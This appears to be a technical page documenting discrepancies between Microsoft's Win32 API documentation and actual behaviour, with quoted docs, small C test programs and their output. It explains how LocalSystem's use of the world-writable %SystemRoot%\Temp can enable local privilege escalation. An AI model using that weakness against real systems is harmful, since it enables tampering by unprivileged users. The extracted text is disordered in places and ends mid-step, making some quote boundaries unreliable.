SetMessageExtraInfo(…) returned -2 SetMessageExtraInfo(…) returned -3 SetMessageExtraInfo(…) returned -4 SetMessageExtraInfo(…) returned -5 SetMessageExtraInfo(…) returned -6 SetMessageExtraInfo(…) returned -7 SetMessageExtraInfo(…) returned -8 SetMessageExtraInfo(…) returned -9 SetMessageExtraInfo(…) returned 0 GetMessageExtraInfo() returned -1 0OOPS: the window procedure is called 20 (in words: twenty) times here before the message loop starts!
OUCH: the extra message information is 4 (in words: four) times reset to 0 here – contrary to both documentations cited above its value is not solely defined by the application!
SetLastError()
states in its Remarkssection:
Most functions call SetLastError or SetLastErrorEx only when they fail. However, some system functions call SetLastError or SetLastErrorEx under conditions of success; those cases are noted in each function's documentation.The documentation for the Win32 function
EnumProps()
states:
Enumerates all entries in the property list of a window by passing them, one by one, to the specified callback function. EnumProps continues until the last entry is enumerated or the callback function returns FALSE.The documentation for the Win32 function[…]
The return value specifies the last value returned by the callback function. It is -1 if the function did not find a property for enumeration.
EnumPropsEx()
states:
Enumerates all entries in the property list of a window by passing them, one by one, to the specified callback function. EnumPropsEx continues until the last entry is enumerated or the callback function returns FALSE.The documentation for the Win32 function[…]
The return value specifies the last value returned by the callback function. It is -1 if the function did not find a property for enumeration.
GetProp()
states:
Retrieves a data handle from the property list of the specified window. The character string identifies the handle to be retrieved. The string and handle must have been added to the property list by a previous call to the SetProp function.The documentation for the Win32 function[…]
If the property list contains the string, the return value is the associated data handle. Otherwise, the return value is NULL.
RemoveProp()
states:
Removes an entry from the property list of the specified window. The specified character string identifies the entry to be removed.The documentation for the Win32 function[…]
The return value identifies the specified data. If the data cannot be found in the specified property list, the return value is NULL.
[…]
The RemoveProp function returns the data handle associated with the string so that the application can free the data associated with the handle.
SetProp()
states:
Adds a new entry or changes an existing entry in the property list of the specified window. The function adds a new entry to the list if the specified character string does not exist already in the list. The new entry contains the string and the handle. Otherwise, the function replaces the string's current handle with the specified handle.[…]
If the data handle and string are added to the property list, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
BOOL WINAPI PropEnumProc(HWND hWindow, LPCWSTR lpString, HANDLE hData)
{
return TRUE;
}
BOOL WINAPI EnumPropExProc(HWND hWindow, LPCWSTR lpString, HANDLE hData, ULONG_PTR lParam)
{
PrintConsole((HANDLE) lParam,
L"0x%p: property \'%ls\' is 0x%p\n",
hWindow, lpString, hData);
return TRUE;
}
const LPCWSTR szBlunder[] = {L"BLUNDER", L"", NULL};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
HWND hWindow;
BOOL bBlunder;
DWORD dwBlunder = 0UL;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
#if 1
hWindow = GetConsoleWindow();
if (hWindow == NULL)
PrintConsole(hError,
L"GetConsoleWindow() returned error %lu\n",
dwError = GetLastError());
#elif 1
hWindow = GetDesktopWindow();
if (hWindow == NULL)
PrintConsole(hError,
L"GetDesktopWindow() returned error %lu\n",
dwError = GetLastError());
#else
hWindow = GetShellWindow();
if (hWindow == NULL)
PrintConsole(hError,
L"GetShellWindow() returned error %lu\n",
dwError = GetLastError());
#endif
else
{
bBlunder = EnumProps(hWindow, PropEnumProc);
if (bBlunder != TRUE)
PrintConsole(hError,
L"EnumProps() returned 0x%08X\n",
bBlunder);
bBlunder = EnumPropsEx(hWindow, EnumPropExProc, (LPARAM) hError);
if (bBlunder != TRUE)
PrintConsole(hError,
L"EnumPropsEx() returned 0x%08X\n",
bBlunder);
do
{
PrintConsole(hError, L"\n");
SetLastError(~0UL);
if (RemoveProp(hWindow, szBlunder[dwBlunder]) == NULL)
PrintConsole(hError,
L"RemoveProp() returned error %lu for property \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
SetLastError(~0UL);
if (GetProp(hWindow, szBlunder[dwBlunder]) == NULL)
PrintConsole(hError,
L"GetProp() returned error %lu for property \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
SetLastError(~0UL);
if (!SetProp(hWindow, szBlunder[dwBlunder], NULL))
PrintConsole(hError,
L"SetProp() returned error %lu for property \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
else
{
bBlunder = EnumPropsEx(hWindow, EnumPropExProc, (LPARAM) hError);
if (bBlunder != TRUE)
PrintConsole(hError,
L"EnumPropsEx() returned 0x%08X\n",
bBlunder);
SetLastError(~0UL);
if (GetProp(hWindow, szBlunder[dwBlunder]) == NULL)
PrintConsole(hError,
L"GetProp() returned error %lu for property \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
SetLastError(~0UL);
if (RemoveProp(hWindow, szBlunder[dwBlunder]) == NULL)
PrintConsole(hError,
L"RemoveProp() returned error %lu for property \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
}
}
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(32) : warning C4100: 'hData' : unreferenced formal parameter blunder.c(32) : warning C4100: 'lpString' : unreferenced formal parameter blunder.c(32) : warning C4100: 'hWindow' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
EnumProps() returned 0x77A0B4C9 EnumPropsEx() returned 0x00FB1060 RemoveProp() returned error 4294967295 for property 'BLUNDER' GetProp() returned error 4294967295 for property 'BLUNDER' 0x13400BAC: property 'BLUNDER' is 0x00000000 GetProp() returned error 4294967295 for property 'BLUNDER' RemoveProp() returned error 4294967295 for property 'BLUNDER' RemoveProp() returned error 123 for property '' GetProp() returned error 123 for property '' SetProp() returned error 123 for property '' RemoveProp() returned error 4294967295 for property '' GetProp() returned error 4294967295 for property '' SetProp() returned error 87 for property '' 0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH¹: contrary to the highlighted statement of their documentations cited above, the Win32 functions
EnumProps()
and
EnumPropsEx()
fail to return −1 when they don’t enumerate a property!
OUCH²: the documentations for the
Win32 functions
GetProp()
and
RemoveProp()
fail to specify that both functions set the last error code –
at least when the specified property is an empty character string!
OUCH³: both functions but fail to set the last error code if the requested property does not exist!
OUCH⁴: both functions also fail to reset the
last error code if the handle set for the requested property is
NULL
!
OUCH⁵: contrary to the Win32
function
SetProp()
they but fail to set the last error code (for example) to 87 alias
ERROR_INVALID_PARAMETER
if the requested property is NULL
!
GetLastError()
states:
The Return Value section of the documentation for each function that sets the last-error code notes the conditions under which the function sets the last-error code. Most functions that set the thread's last-error code set it when they fail. However, some functions also set the last-error code when they succeed. If the function is not documented to set the last-error code, the value returned by this function is simply the most recent last-error code to have been set; some functions set the last-error code to 0 on success and others do not.The documentation for the Win32 function
IsTokenRestricted()
states:
The IsTokenRestricted function indicates whether a token contains a list of restricted security identifiers (SIDs).CAVEAT: unless the[…]
If the token contains a list of restricting SIDs, the return value is nonzero.
If the token does not contain a list of restricting SIDs, the return value is zero.
If an error occurs, the return value is zero. To get extended error information, call GetLastError.
IsTokenRestricted()
function resets the last error code when the
token
does not contain a list of restricting
security identifiers
its result can’t be distinguished from an error!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
dwError = GetLastError();
else
{
SetLastError(~0UL);
if (!IsTokenRestricted(hToken))
dwError = GetLastError();
if (!CloseHandle(hToken))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: the
IsTokenRestricted()
function fails to reset the last error code when the
token
does not contain a list of restricting security identifiers!
SendMessageTimeout()
specifies in its Return valuesection:
Note that the function does not always call SetLastError on failure. If the reason for failure is important to you, call SetLastError(ERROR_SUCCESS) before calling SendMessageTimeout. If the function returns 0, and GetLastError returns ERROR_SUCCESS, then treat it as a generic failure.The documentation for the Win32 function
GetTlsValue()
specifies in its Return valuesection:
If the function fails, the return value is zero. To get extended error information, call GetLastError.The documentation for the Win32 functionThe data stored in a TLS slot can have a value of 0 because it still has its initial value or because the thread called the TlsSetValue function with 0. Therefore, if the return value is 0, you must check whether GetLastError returns ERROR_SUCCESS before determining that the function has failed. If GetLastError returns ERROR_SUCCESS, then the function has succeeded and the data stored in the TLS slot is 0. Otherwise, the function has failed.
Functions that return indications of failure call SetLastError when they fail. They generally do not call SetLastError when they succeed. The TlsGetValue function is an exception to this general rule. The TlsGetValue function calls SetLastError to clear a thread's last error when it succeeds. That allows checking for the error-free retrieval of zero values.
GetFileType()
specifies in its Return valuesection:
The documentation for the Win32 function
Return code/value Description … … FILE_TYPE_UNKNOWN
0x0000Either the type of the specified file is unknown, or the function failed. You can distinguish between a "valid" return of FILE_TYPE_UNKNOWN and its return due to a calling error (for example, passing an invalid handle to GetFileType) by calling GetLastError
If the function worked properly and FILE_TYPE_UNKNOWN was returned, a call to GetLastError will return NO_ERROR.
If the function returned FILE_TYPE_UNKNOWN due to an error in calling GetFileType, GetLastError will return the error code.
GetFileSize()
specifies in its Remarkssection:
Note that if the return value is INVALID_FILE_SIZE (0xffffffff), an application must call GetLastError to determine whether the function has succeeded or failed. The reason the function may appear to fail when it has not is that lpFileSizeHigh could be non-NULL or the file size could be 0xffffffff. In this case, GetLastError will return NO_ERROR (0) upon success.The documentation for the Win32 function
GetCompressedFileSize()
specifies in its Return valuesection:
If the return value is INVALID_FILE_SIZE and lpFileSizeHigh is non-NULL, an application must call GetLastError to determine whether the function has succeeded (value is NO_ERROR) or failed (value is other than NO_ERROR).The documentation for the Win32 function
AdjustTokenPrivileges()
specifies in its Return valuesection:
If the function succeeds, the return value is nonzero. To determine whether the function adjusted all of the specified privileges, call GetLastError, which returns one of the following values when the function succeeds:
Return code Description ERROR_SUCCESS The function adjusted all specified privileges. ERROR_NOT_ALL_ASSIGNED The token does not have one or more of the privileges specified in the NewState parameter. The function may succeed with this error value even if no privileges were adjusted. The PreviousState parameter indicates the privileges that were adjusted. If the function fails, the return value is zero. To get extended error information, call GetLastError.
The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token. […]The documentation for the Win32 functiontypedef struct TOKEN_PRIVILEGES { DWORD PrivilegeCount; LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY]; } TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
AdjustTokenPrivileges()
states:
The AdjustTokenPrivileges function enables or disables privileges in the specified access token. […][…]BOOL AdjustTokenPrivileges( [in] HANDLE TokenHandle, [in] BOOL DisableAllPrivileges, [in, optional] PTOKEN_PRIVILEGES NewState, [in] DWORD BufferLength, [out, optional] PTOKEN_PRIVILEGES PreviousState, [out, optional] PDWORD ReturnLength );
[in] BufferLength
Specifies the size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be zero if the PreviousState parameter is NULL.
[out, optional] PreviousState
A pointer to a buffer that the function fills with a TOKEN_PRIVILEGES structure that contains the previous state of any privileges that the function modifies. That is, if a privilege has been modified by this function, the privilege and its previous state are contained in the TOKEN_PRIVILEGES structure referenced by PreviousState. If the PrivilegeCount member of TOKEN_PRIVILEGES is zero, then no privileges have been changed by this function. This parameter can be NULL.
If you specify a buffer that is too small to receive the complete list of modified privileges, the function fails and does not adjust any privileges. In this case, the function sets the variable pointed to by the ReturnLength parameter to the number of bytes required to hold the complete list of modified privileges.
[out, optional] ReturnLength
A pointer to a variable that receives the required size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define SE_CHANGE_NOTIFY_PRIVILEGE 23UL // "SeChangeNotifyPrivilege"
const TOKEN_PRIVILEGES tp = {ANYSIZE_ARRAY, {SE_CHANGE_NOTIFY_PRIVILEGE, 0L, SE_PRIVILEGE_ENABLED}};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
TOKEN_PRIVILEGES tpState;
DWORD dwState;
DWORD dwError;
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
dwError = GetLastError();
else
{
if (!AdjustTokenPrivileges(hToken,
FALSE,
&tp,
#ifndef BLUNDER
sizeof(tpState),
#else
sizeof(tpState.PrivilegeCount),
#endif
&tpState,
&dwState))
dwError = GetLastError();
else
dwError = tpState.PrivilegeCount;
if (!CloseHandle(hToken))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(29) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: since the
SeChangeNotifyPrivilege
alias
SE_CHANGE_NOTIFY_NAME
privilege
is enabled per default, no privileges are modified here – the
PrivilegeCount
member of tpState
is set to
0 and its Privileges[ANYSIZE_ARRAY]
member
should not be used!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(29) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code to demonstrate the
misbehaviour:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x7a (WIN32: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122) Error message text: The data area passed to a system call is too small. CertUtil: -error command completed successfully.OUCH: the
AdjustTokenPrivileges()
function fails with Win32 error code 122 alias
ERROR_INSUFFICIENT_BUFFER
despite the unused
Privileges[ANYSIZE_ARRAY]
member!
The following are valid access rights for access-token objects:The documentation for the
The DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER standard access rights. Access tokens do not support the SYNCHRONIZE standard access right.
The ACCESS_SYSTEM_SECURITY right to get or set the SACL in the object's security descriptor.
The specific access rights for access tokens, which are listed in the following table.
Value Meaning TOKEN_ADJUST_DEFAULT Required to change the default owner, primary group, or DACL of an access token. TOKEN_ADJUST_GROUPS Required to adjust the attributes of the groups in an access token. TOKEN_ADJUST_PRIVILEGES Required to enable or disable the privileges in an access token. TOKEN_ADJUST_SESSIONID Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required. … … TOKEN_ASSIGN_PRIMARY Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task. TOKEN_DUPLICATE Required to duplicate an access token. TOKEN_EXECUTE Same as STANDARD_RIGHTS_EXECUTE. TOKEN_IMPERSONATE Required to attach an impersonation access token to a process. TOKEN_QUERY Required to query an access token. TOKEN_QUERY_SOURCE Required to query the source of an access token. TOKEN_READ Combines STANDARD_RIGHTS_READ and TOKEN_QUERY. TOKEN_WRITE Combines STANDARD_RIGHTS_WRITE, TOKEN_ADJUST_PRIVILEGES, TOKEN_ADJUST_GROUPS, and TOKEN_ADJUST_DEFAULT. TOKEN_ALL_ACCESS Combines all possible access rights for a token.
TOKEN_INFORMATION_CLASS
enumeration states:
The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token.[…]
… … TokenSessionId
[…]
If TokenSessionId is set with SetTokenInformation, the application must have the Act As Part Of the Operating System privilege, and the application must be enabled to set the session ID in a token.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwSession = 0UL;
HANDLE hProcess = GetCurrentProcess();
HANDLE hToken;
if (!OpenProcessToken(hProcess,
#ifdef BLUNDER
TOKEN_ADJUST_DEFAULT |
#endif
TOKEN_ADJUST_SESSIONID,
&hToken))
dwError = GetLastError();
else
{
if (!SetTokenInformation(hToken,
TokenSessionId,
&dwSession,
sizeof(dwSession)))
dwError = GetLastError();
if (!CloseHandle(hToken))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
SetTokenInformation()
fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
– contrary to the highlighted statements of the documentation
cited above, the TOKEN_ADJUST_SESSIONID
access right is
not sufficient for
TokenSessionId
!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH²: contrary to the highlighted statements of the documentation cited above, the Win32 function
SetTokenInformation()
requires the access rights TOKEN_ADJUST_DEFAULT
and TOKEN_ADJUST_SESSIONID
for
TokenSessionId
!
Note: the Win32 error code 1314 alias
ERROR_PRIVILEGE_NOT_HELD
is expected here – the
SeTcbPrivilege
alias
SE_TCB_NAME
privilege
is not enabled.
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).OUCH⁰: contrary to the highlighted statement of this article, the name of an environment variable can but include an equal sign!By default, a child process inherits the environment variables of its parent process. […]
Each environment block contains the environment variables in the following format:
Var1=Value1\0
Var2=Value2\0
Var3=Value3\0
...
VarN=ValueN\0\0The name of an environment variable cannot include an equal sign (=).
[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, then broadcast a WM_SETTINGCHANGE message with lParam set to the string "Environment". This allows applications, such as the shell, to pick up your updates.
The MSDN article User Environment Variables states:
Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.Both articles but fail to tell that two kinds of user environment variables exist, persistent and volatile, that volatile environment variables obscure persistent environment variables with the same name, how to add, modify or remove them, and where they are stored:By default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]
To retrieve a copy of the environment block for a given user, use the CreateEnvironmentBlock function.
HKEY_CURRENT_USER\Environment
alias
HKEY_USERS\‹security identifier›\Environment
;
HKEY_CURRENT_USER\Volatile Environment
alias
HKEY_USERS\‹security identifier›\Volatile Environment
where they are created during user logon after the registry hive is
loaded and discarded when the user logs off and the registry hive is
unloaded – volatile registry keys and their registry entries
are not written to disk.
Environment variables in Windows NT
HOWTO: Propagate Environment Variables to the System
HKEY_CURRENT_USER
LibPath
,
OS2LibPath
and Path
are assigned to the
respective process environment variable during user logon;
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account get the persistent system environment variables
TEMP
and TMP
instead of the respective
persistent user environment variables!
Thanksto the blunder listed last, privileged processes running under the
NT AUTHORITY\SYSTEM
alias
LocalSystem
user account use the public user-writable and therefore
unsafe directory %SystemRoot%\Temp\
instead of their private and safe directory
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
,
allowing unprivileged users to tamper with (executable) files
created there by these privileged processes, eventually resulting in
local escalation of privilege.
Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.
Both articles also fail to tell that not all system environment
variables are stored in the registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
:
__COMPAT_LAYER
is
created programmatically for processes listed with their fully
qualified path name and the variable value in the registry keys
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
and
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
during process creation;
ALLUSERSPROFILE
,
COMPUTERNAME
, PROCESSOR_ARCHITEW6432
,
PUBLIC
, CommonProgramFiles
,
CommonProgramFiles(x86)
,
CommonProgramW6432
, ProgramData
,
ProgramFiles
, ProgramFiles(x86)
,
ProgramW6432
, SystemDrive
and
SystemRoot
are created programmatically, similar to the
volatile user environment variables created during user logon.
__COMPAT_LAYER
, whose
values are appended to that of an existing environment variable with
this name, they are but obscured by persistent system environment
variables as well as persistent and volatile user environment
variables with the same name stored in the registry keys shown
above!
And last, both articles fail to mention the immutable dynamic system
environment variables FIRMWARE_TYPE
(introduced with
Windows 8 and Windows Server 2012) plus
NUMBER_OF_PROCESSORS
, __APPDIR__
and
__CD__
(introduced with Windows Vista and
Windows Server 2008) which are nowhere stored and not
present in the process environment block, but evaluated upon
expansion.
Note: they are not obscured by regular environment variables of the same name!
The MSDN article WOW64 Implementation Details specifies:
The documentation for the Win32 functionWhen a 32-bit process is created by a 64-bit process, or when a 64-bit process is created by a 32-bit process, WOW64 sets the environment variables for the created process as shown in the following table.
Process Environment variables 64-bit process PROCESSOR_ARCHITECTURE=AMD64 or PROCESSOR_ARCHITECTURE=IA64 or PROCESSOR_ARCHITECTURE=ARM64
ProgramFiles=%ProgramFiles%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles%
CommonProgramW6432=%CommonProgramFiles%
Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: The ProgramW6432 and CommonProgramW6432 environment variables were added starting with Windows 7 and Windows Server 2008 R2.32-bit process PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITECTURE%
ProgramFiles=%ProgramFiles(x86)%
ProgramW6432=%ProgramFiles%
CommonProgramFiles=%CommonProgramFiles(x86)%
CommonProgramW6432=%CommonProgramFiles%
CreateEnvironmentBlock()
specifies:
Retrieves the environment variables for the specified user. […][…]BOOL CreateEnvironmentBlock( [out] LPVOID *lpEnvironment, [in, optional] HANDLE hToken, [in] BOOL bInherit );
[in, optional] hToken
Token for the user […]
If this parameter is NULL, the returned environment block contains system variables only.
Tempdirectory
%SystemRoot%\Temp\
via the system environment variables
TEMP
and TMP
.
Windows 2000 introduced a user profile for the
(privileged) NT AUTHORITY\SYSTEM
alias
LocalSystem
user account in the new directory
%SystemRoot%\System32\Config\SystemProfile\
–
which is but subject to
file system redirection
on 64-bit editions of Windows NT, where
separate directories
%SystemRoot%\System32\Config\SystemProfile\
and
%SystemRoot%\SysWoW64\Config\SystemProfile\
exist!
It also relocated all user profiles from their previous directories
%SystemRoot%\Profiles\%USERNAME%\
into new directories
%SystemDrive%\Documents and Settings\%USERNAME%\
and
introduced a private Temp
directory
%USERPROFILE%\Local Settings\Temp\
alias
%SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\
located within these user profiles together with new user
environment variables TEMP
and TMP
– except for the
LocalSystem
user account, which continued (and still continues) to use the
(still world-writable) directory %SystemRoot%\Temp\
via
the system environment variables TEMP
and
TMP
.
Windows XP added the (less privileged) user accounts
NT AUTHORITY\LOCAL SERVICE
alias
LocalService
and NT AUTHORITY\NETWORK SERVICE
alias
NetworkService
,
placed their user profiles in the directories
%SystemDrive%\Documents and Settings\LocalService\
and
%SystemDrive%\Documents and Settings\NetworkService\
,
created a private Temp
directory within both user profiles
and set their user environment variables TEMP
and
TMP
to %USERPROFILE%\Local Settings\Temp
.
Windows Vista relocated these two service profiles to
the new directories
%SystemRoot%\ServiceProfiles\LocalService\
and
%SystemRoot%\ServiceProfiles\NetworkService\
, relocated
all regular user profiles
%SystemDrive%\Documents and Settings\%USERNAME%\
to
the directories %SystemDrive%\Users\%USERNAME%\
, but
kept the profiles
%SystemRoot%\System32\Config\SystemProfile\
and
%SystemRoot%\SysWoW64\Config\SystemProfile\
.
All user accounts except
LocalSystem
kept their private Temp
directory, now
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\
for
the regular user accounts and
%SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\
respectively
%SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\
for the service user accounts.
At least since Windows 7 the user environment variables
TEMP
and TMP
are set in the
LocalSystem
user account too, despite the directory
%USERPROFILE%\AppData\Local\Temp\
alias
%SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\
or
%SystemRoot%\SysWoW64\Config\SystemProfile\AppData\Local\Temp\
is missing in its user profiles!
The MSDN article Profiles Directory provides additional information.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
